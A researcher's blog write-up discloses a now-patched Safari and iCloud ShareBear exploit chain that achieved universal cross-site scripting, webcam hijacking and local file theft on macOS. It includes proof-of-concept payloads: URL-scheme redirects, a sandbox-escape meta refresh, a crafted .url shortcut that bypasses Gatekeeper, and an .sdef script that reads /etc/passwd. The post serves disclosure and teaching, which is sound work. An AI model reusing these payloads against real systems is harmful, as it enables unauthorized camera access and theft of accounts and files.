top of page

Hacking the Apple Webcam (again)

Gaining unauthorized camera access via Safari UXSS: the story of how a shared iCloud document can hack every website you've ever visited.

Ryan Pickren

Summary

It's been over a year since my last Apple camera hacking project, so I decided to give it another go.

 

My hack successfully gained unauthorized camera access by exploiting a series of issues with iCloud Sharing and Safari 15. While this bug does require the victim to click "open" on a popup from my website, it results in more than just multimedia permission hijacking. This time, the bug gives the attacker full access to every website ever visited by the victim. That means in addition to turning on your camera, my bug can also hack your iCloud, PayPal, Facebook, Gmail, etc. accounts too.

This research resulted in 4 0day bugs (CVE-2021-30861, CVE-2021-30975, and two without CVEs), 2 of which were used in the camera hack. I reported this chain to Apple and was awarded $100,500 as a bounty.

Safari UXSS

Background

Apple fixed my last 0day chain (CVE-2020-3852 + CVE-2020-3864 + CVE-2020-3865) by making camera access drastically more difficult. Now multimedia access is only allowed when the protocol is "https:" and the domain matches your saved settings. This means that cleverly malformed URIs won't cut it anymore. Now we need to genuinely inject our evil code into the target origin. In other words, we need to find a Universal Cross-Site Scripting (UXSS) bug.

 

But what exactly is UXSS? Google Project Zero has a nice summary in their paper, "Analysis of UXSS exploits and mitigations in Chromium" - 

"UXSS attacks exploit vulnerabilities in the browser itself [...] to achieve an XSS condition. As a result, the attacker does not just get access to user session on a single website, but may get access to any [website]."

The authors of this paper go on to call UXSS "among the most significant threats for users of any browser" and "almost as valuable as a ​Remote Code Execution​ (RCE) exploit with the sandbox escape." Sounds pretty great, right? Imagine building a website that can jump into https://zoom.com to turn on the camera, hop into https://paypal.com to transfer money, and hijack https://gmail.com to steal emails. 

Before we go any further, I should clarify how exactly this bug differs from my last Safari Camera Hacking project. That bug specifically targeted stored multimedia permissions. It did not give me the ability to execute code on arbitrary origins. Check out my attack diagram to see which origins were being used. In other words, that hack let me leverage Skype's camera permission but did not let me steal Skype's cookies. 

Let's try to find a UXSS bug in the latest version of Safari (Safari v15 beta at time of writing). As always, the first step is to do a lot of research into prior work. After all, the best security research comes from standing on the shoulders of giants.

The Attack Plan

After reading numerous write-ups about patched Safari UXSS bugs, I decided to focus my research on webarchive files. These files are created by Safari as an alternative to HTML when a user saves a website locally.

Screen Shot 2021-08-12 at 10.43.16 AM.png

Safari saving a website as a Webarchive file

A startling feature of these files is that they specify the web origin that the content should be rendered in.

Apple Webarchive File Format

Webarchive File Format

This is an awesome trick to let Safari rebuild the context of the saved website, but as the Metasploit authors pointed out back in 2013, if an attacker can somehow modify this file, they could effectively achieve UXSS by-design.

According to Metasploit, Apple did not view this attack scenario as very realistic because "the webarchives must be downloaded and manually opened by the client." Granted this decision was made nearly a decade ago, when the browser security model wasn't nearly as mature as it is today.

Apple's decision to support this ultra-powerful filetype gave way to an era of hackers trying to forcefully open them on victims' machines. Fundamentally, this attack can be broken into two steps:

1) Forcefully download an evil webarchive file

2) Forcefully open it

Until recently, there were no protections to prevent step #1. Prior to Safari 13, no warnings were even displayed to the user before a website downloaded arbitrary files. So planting the webarchive file was easy. (Now with Safari 13+, users are prompted before each download)

Opening the webarchive file was trickier, but still manageable by somehow navigating to the file:// URI scheme. Back when Safari's error pages lived on the file:// scheme, hackers figured out how to purposely invoke an error page to just alter its pathname, a hack delightfully dubbed "Errorjacking." See here and here for two variations. Another approach that worked back in the day was to simply set the <base> tag to file://.

Fast forward to 2022 and things get a lot harder. Not only are auto-downloads prevented by default, but webarchive files are considered malicious applications by macOS Gatekeeper. This means that users can't even manually open foreign webarchives themselves anymore. Apple seems to have changed their 2013 stance about how dangerous these files can be.

Screen Shot 2021-08-12 at 1.17.50 PM.png

Download prompt in Safari 13+

Gatekeeper Webarchive Prompt

Gatekeeper Launch Prevention

Still, webarchive files just seem too juicy to give up on. Let's explore how this old-school hack can still occur on the latest Safari and macOS builds.

Exploration of custom URI Schemes

I found success with my last Safari Camera Hacking project by conducting a deep dive into official IANA-registered URI schemes. This project was heavily guided by RFCs and public documentation. But there is an entire world of custom URL schemes that I neglected to talk about. These unofficial and (mostly) undocumented schemes are usually used by third party iOS/macOS apps as a form of deep linking. There is actually an entire community built around discovering and using these schemes cross-app for both fun and hacking projects.

An interesting note is that several first-party system apps such as Apple Help Viewer (help://), FaceTime (facetime-audio://), and Apple Feedback (applefeedback://) also support custom URI schemes. Abusing these schemes from a website in Safari is not a novel technique. Indeed, hackers have been finding ways to use custom schemes to launch (and exploit bugs in) system applications for a while now. Hacks range from annoyingly placing calls, aiding in social engineering, to arbitrary file execution. Seriously, there is some awesome research in this space.

To help combat these attacks, modern versions of Safari warn the user before blindly launching secondary applications. That is, unless they are one of the hardcoded exceptions identified in this great Blackhat presentation

Screen Shot 2021-08-12 at 2.33.07 PM.png

Custom URI Schemes that Safari will launch without Prompt

All of these schemes are registered with Launch Services, so you can list them (and others) via this command:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B6 bindings:.*: | grep -B6 apple-internal

After digging through internal Apple schemes and cross-referencing them with the ones trusted by Safari, I found one that caught my eye- "icloud-sharing:". This scheme appears to be registered by an iCloud Sharing Application called "ShareBear."

Screen Shot 2021-08-12 at 2.38.00 PM.png

LaunchServices data about the icloud-sharing: scheme

ShareBear was interesting to me because sharing iCloud documents seemed like a plausible path towards downloading & launching webarchive files. I couldn't find any publicly available documentation or research about this scheme so I just started poking at it myself.

ShareBear Application

At this point ​we have identified an application that can be automatically launched by Safari, however we do not know how to correctly open it yet. Luckily, it was pretty straight forward.

Some quick research shows that iCloud File Sharing can generate a public Share Link.

d69b081b8b7300b9da7fe35cb6fdaad1.png

Creating a public iCloud Share Link

These Share Links look something like this:

 

https://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem

Simply replacing "https" with "icloud-sharing" is all that's needed to have Safari automatically open ShareBear with this file as a parameter. 

<script>​

location.href = 'icloud-sharing://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem"

</script>

evil.html

Great, so what does ShareBear do now? Some quick testing showed this behavior:

sharebear.png

ShareBear Behavior Flowchart

There is a subtle, but wildly impactful, design flaw with this behavior. Let's dig into what happens if the user has not opened this file before. The user will be shown a prompt, similar to the one below.

propt.png

ShareBear Open Prompt

This innocuous little prompt, with the default value of "Open," seems pretty straightforward. A user should expect to have the image, example.png, opened if they agree. But in actuality, they are agreeing to much more than that.

 

Once the user clicks Open, the file is downloaded onto the victim's machine at the location /Users/<user>/Library/Mobile Documents/com~apple~CloudDocs then automatically opened via Launch Services. Then the user will never see this prompt again. From that point forward, ShareBear (and thus any website in Safari) will have the ability to automatically launch this file. The truly problematic part of this agreement is that the file can be changed by anybody with write access to it. For example, the owner of the file could change the entire byte content and file extension after you agree to open it. ShareBear will then download and update the file on the victim's machine without any user interaction or notification.

 

In essence, the victim has given the attacker permission to plant a polymorphic file onto their machine and the permission to remotely launch it at any moment. Yikes.

Agreed to view my PNG file yesterday? Well today it's an executable binary that will be automatically launched whenever I want.

 

Apple fixed this behavior in macOS Monterey 12.0.1 as a result of my report without issuing a CVE because it is more of a design flaw than a bug per-se.

Bonus Bug: Iframe Sandbox Escape

While fuzzing the icloud-sharing:// scheme, I stumbled upon a fun bug unrelated to the UXSS hunt. ShareBear appears to check the path of the URL for "/iclouddrive/*" before performing the behavior outlined above. If the path happens to be "/photos/*" then ShareBear makes a pretty silly mistake. It will tell Safari to open a new tab pointing to the iCloud web app... but it does not verify that the domain name is actually the iCloud web app.

In normal operation, the user is simply presented with the website, "https://photos.icloud.com." However because this domain name is never validated, we can trick ShareBear into instructing Safari into opening a new tab to any website.

 

The implications of this behavior may not be obvious. This doesn't seem all that different than just calling window.open('https://example.com') normally. However there are situations in the web where websites aren't allowed to do that. One example is if popup blocker is enabled. Another, more devious, example is when your website is inside of a sandboxed iframe.

The sandbox iframe attribute is typically used when you want to embed untrusted 3rd party content on your website. For example, you may want to display an ad banner on your blog but you don't want this ad to be able to run JavaScript (who knows, maybe the ad author has a browser 0day).

iframe-sandbox.png

An important rule for sandboxed iframes is that new windows opened from that iframe should inherit the same restrictions as the iframe itself. Otherwise escaping the sandbox would be as trivial as opening a popup.

Well this bug tricks Safari into opening a 'fresh' new tab without any sandbox restrictions!

<html>    

  <head>      

    <meta http-equiv="refresh" content="0;URL='icloud-sharing://example.com/photos/foo'" />    

  </head>     

</html>

Website trapped in a Sandboxed Iframe

So ShareBear neglecting to verify the domain gives us an easy popup-blocker bypass and an iframe sandbox escape. Nice! (fixed in Safari 15.2 without being assigned a CVE) Live demo on BugPoC - https://bugpoc.com/poc#bp-S4HH6YcO PoC ID: bp-S4HH6YcO, Password: loVEDsquId01. Note this demo will only work with Safari <15.2 pre macOS Monterey 12.1.

 

Now back to the Camera/UXSS hunt.

Quarantine and Gatekeeper

Quick reminder of where we are -

Our website can prompt the user to open a shared PNG file. If the user agrees, we can automatically launch this file at any point in the future, even after we alter the file content and extension.

staging.png

The attacker can then modify the file on his own machine and ShareBear will take care of updating it on the victim's machine.

Attacker's Machine

Victim's Machine

Mutating the Polymorphic File

The attacker's website can then automatically launch this newly-updated file using the same icloud-sharing:// URL that he used to display the original prompt.

launching.png

This seems very close to our goal of forcefully downloading & opening an evil webarchive file. We can just swap out the content of puppy.png for a webarchive file and rename it "evil.webarchive", right? Unfortunately for us, pesky macOS Gatekeeper won't allow that.

Screen Shot 2021-08-12 at 1.19.38 PM.png

Gatekeeper Launch Prevention

It appears that ShareBear correctly gives downloaded files the 'com.apple.quarantine' attribute and according to Apple, "Gatekeeper prevents quarantined executable files and other similar files (shell scripts, web archives, and so on) from opening or executing." For a deep dive into how macOS treats this attribute, as well as how Gatekeeper performs code signing, check out this great write-up.

For our purposes, there are two big limitations introduced by this OS protection -

1) We can't run our own apps  

2) We can't directly open webarchive files

Side Bar - while we can't run our own apps, launching existing, approved, apps is trivial. Just use a fileloc to point to a local app (this technique is quite common). This attack is sometimes referred to as "Arbitrary File Execution" and is often misunderstood because it looks so scary.

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

    <key>URL</key>

    <string>file:///System/Applications/Calculator.app</string>

</dict>

</plist>

fileloc pointing to macOS Calculator

Using the icloud-sharing:// scheme to launch the fileloc

While this attack might look scary, launching an already-approved app doesn't have much impact. Let's focus on opening webarchives.

Shortcuts

The above technique to open local apps is reminiscent of an old-school symlink attack. It basically just uses a "shortcut" to trick software into opening something it doesn't expect.

Lots of different operating systems and applications have reinvented the wheel over the years when it comes to shortcuts. Nowadays, the term "shortcut" could be referring to a Unix symlink, a macOS alias, a Window's linkfile, a Safari webloc, an Edge bookmark, etc. 

I was hopeful that I could use this technique to bypass Gatekeeper and open a webarchive file. This idea seemed promising to me because the actual application I want to open is Safari (an existing, approved, application). Gatekeeper doesn't have a problem with me launching Safari, it just gets upset when I attempt to open any file ending in ".webarchive".

So I needed to find a shortcut filetype that launches Safari, then tells Safari to open a different file. After some trial and error, I found just that - the ancient Windows URL File!

[{000214A0-0000-0000-C000-000000000046}]

Prop3=19,2

[InternetShortcut]

URL=file:///path/to/webarchive

IDList=

evil.url file pointing to a local webarchive

Launching evil.url successfully opens Safari and instructs it to load the webarchive file without asking Gatekeeper for permission! (CVE-2021-30861) There was only one small hiccup - I need to know the full path to the webarchive file. Assuming the webarchive gets downloaded via ShareBear, it will live in /Users/<user>/Library/Mobile Documents/com~apple~CloudDocs, which includes the victim's username (not a very scalable attack).

Luckily, there is a neat trick to circumvent this requirement - we can mount the webarchive file into the known /Volumes/ directory using a DMG file.

Using the icloud-sharing:// scheme to mount the dmg

Now we know exactly where the webarchive file resides. Which means the below evil.url file will work every time.

[{000214A0-0000-0000-C000-000000000046}]

Prop3=19,2

[InternetShortcut]

URL=file:///Volumes/folder/evil.webarchive

IDList=

evil.url file pointing to a known-location local webarchive

Using the icloud-sharing:// scheme to launch evil.url to open evil.webarchive

And just like that, we are executing JavaScript code anywhere we want. The above screen recording injects 'alert(origin)' in https://google.com.

Let's tie this together into one final attack.

Full Chain

Using ShareBear to download and open a webarchive file for us can be broken down into 3 steps:

1) Trick the victim into giving us permission to plant the polymorphic file

staging.png

2) Turn puppies.png into evil.dmg and launch it

mount.png

3) Turn evil.dmg into evil.url and launch it

urlfile.png

Of course turning "File A" into three different payloads will require some server-side coordination. Another (less fun) way to pull-off this attack is to have the victim agree to open a shared folder that already has all the files ready-to-go.

Screen Recording of UXSS via viewing an iCloud Shared Folder

In the above screen recording, the victim agrees to view a folder that contains some PNG images. This folder also has two hidden files - .evil.dmg & .evil.url.

The website uses the icloud-sharing:// URL Scheme to automatically launch both of the hidden files to successfully bypass Gatekeeper and open a webarchive file. Note that no additional prompts are displayed to the victim after he agrees to view the shared folder. The example webarchive file above injects code into https://www.icloud.com to exfiltrate the victim's iOS camera roll.

 

Of course this is just an example, this UXSS attack allows the attacker to inject arbitrary code into arbitrary origins. It would be just as easy to inject JavaScript code to turn on the webcam when hijacking a trusted video chat website like https://zoom.us or https://facetime.apple.com. Mission accomplished. 

Ryan Pickren hacked Apple Webcam

Screenshot of UXSS hijacking Zoom Website to turn on webcam

Remediation

So how did Apple fix these issues?

The first fix was to have ShareBear just reveal files instead of launch them (fixed in macOS Monterey 12.0.1 without being assigned a CVE). 

The second fix was to prevent WebKit from opening any quarantined files (fixed in Safari 15 as CVE-2021-30861; see fix implementation here).

Bonus Material (#1)

Before I discovered the evil.url trick, I actually found a different way to trick Launch Services into (indirectly) opening a webarchive file. I found this bug on the latest public release of Safari (v14.1.1). A few days after reporting this bug to Apple, they informed me that the beta Safari v15 was not vulnerable. It appeared that an unrelated code refactor made v15 impervious. For completeness sake, I will quickly go over that bug anyway- 

The obvious way to open Safari via Launch Services is with a local html file. Once opened, this page will have the file:// URI scheme. From there, JavaScript is allowed to navigate to other file:// URIs.

<script>

location.href = 'file:///path/to/another/local/file'; // ok if location.protocol == 'file://'

</script>

local HTML file navigating to another local file

So what happens if the file we are navigating to is a webarchive? Well, Safari just hangs.

Screen Recording of Safari refusing to render a webarchive

This annoying hang occurred for every type of page navigation I could think of (anchor href, iframe src, meta redirect, etc.) when the destination file was a webarchive. 

Then I found this bug:

<script>

location.href = 'file://fake.com/path/to/evil.webarchive'; 

</script>

local HTML file navigating to a local webarchive file

Safari forgets to perform the webarchive check when there is a host value in a file:// URL! Funny enough, this bug appears to have been introduced when Apple fixed my old file:// bug (CVE-2020-3885).

 

When Apple informed me that Safari Beta v15 wasn't vulnerable, I went back to the drawing board and found the evil.url hack.

Bonus Material (#2)

There was still one thing that bugged me after I finished the UXSS chain.... it can't be used to steal local files. Sure, UXSS can be used to indirectly steal files by injecting code into https://dropbox.com or https://drive.google.com, but files exclusively on the victim's hard drive are out of reach. 

The excellent Blackhat Presentation I referenced earlier inspired me to look for other System applications that could run my JavaScript in a more privileged context than Safari. After digging around for a while, I stumbled upon an obscure filetype recognized my macOS Script Editor called "Scripting Additions" (.osax). These files (or rather 'bundles') contained a nested xml-based file called a "Dictionary Document" (.sdef). This dictionary document was used to display human-readable, developer-defined, terms used by an AppleScript application. Phew.

The important discovery was that these xml-based files are allowed to contain HTML. As it turns out, the HTML renderer also has a JavaScript engine and this engine does not enforce SOP! (fixed in macOS Big Sur 11.6.2 as CVE-2021-30975) Which means stealing /etc/passwd is easy-

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE dictionary SYSTEM "">

<dictionary>

    <suite name="" code="">

        <command name="" code="" description="">

        </command>

            <documentation>

            <html>

                <![CDATA[

                    <script>

 

                        fetch('file:///etc/passwd').then(x=>{x.text().then(y=>{document.write(y);})})

 

                    </script>

                ]]>

            </html>

            </documentation>

    </suite>

</dictionary>

evil.sdef displaying the content of /etc/passwd

Luckily for us, Gatekeeper does not mind us opening Scripting Addition files. So we just take evil.sdef, package it in evil.osax, and send it to the victim via ShareBear. Then our icloud-sharing:// URI can automatically launch it in Script Editor.

Screen Recording of ShareBear opening evil.osax to steal /etc/passwd

Nice, so now in addition to UXSS, this hack can also circumvent sandbox restrictions and steal local files!

Conclusion

This project was an interesting exploration of how a design flaw in one application can enable a variety of other, unrelated, bugs to become more dangerous. It was also great example of how even with macOS Gatekeeper enabled, an attacker can still achieve a lot of mischief by tricking approved apps into doing malicious things.  

I submitted these bugs to Apple in mid July 2021. They patched all issues in early 2022 and rewarded me $100,500 as a bounty.

bottom of page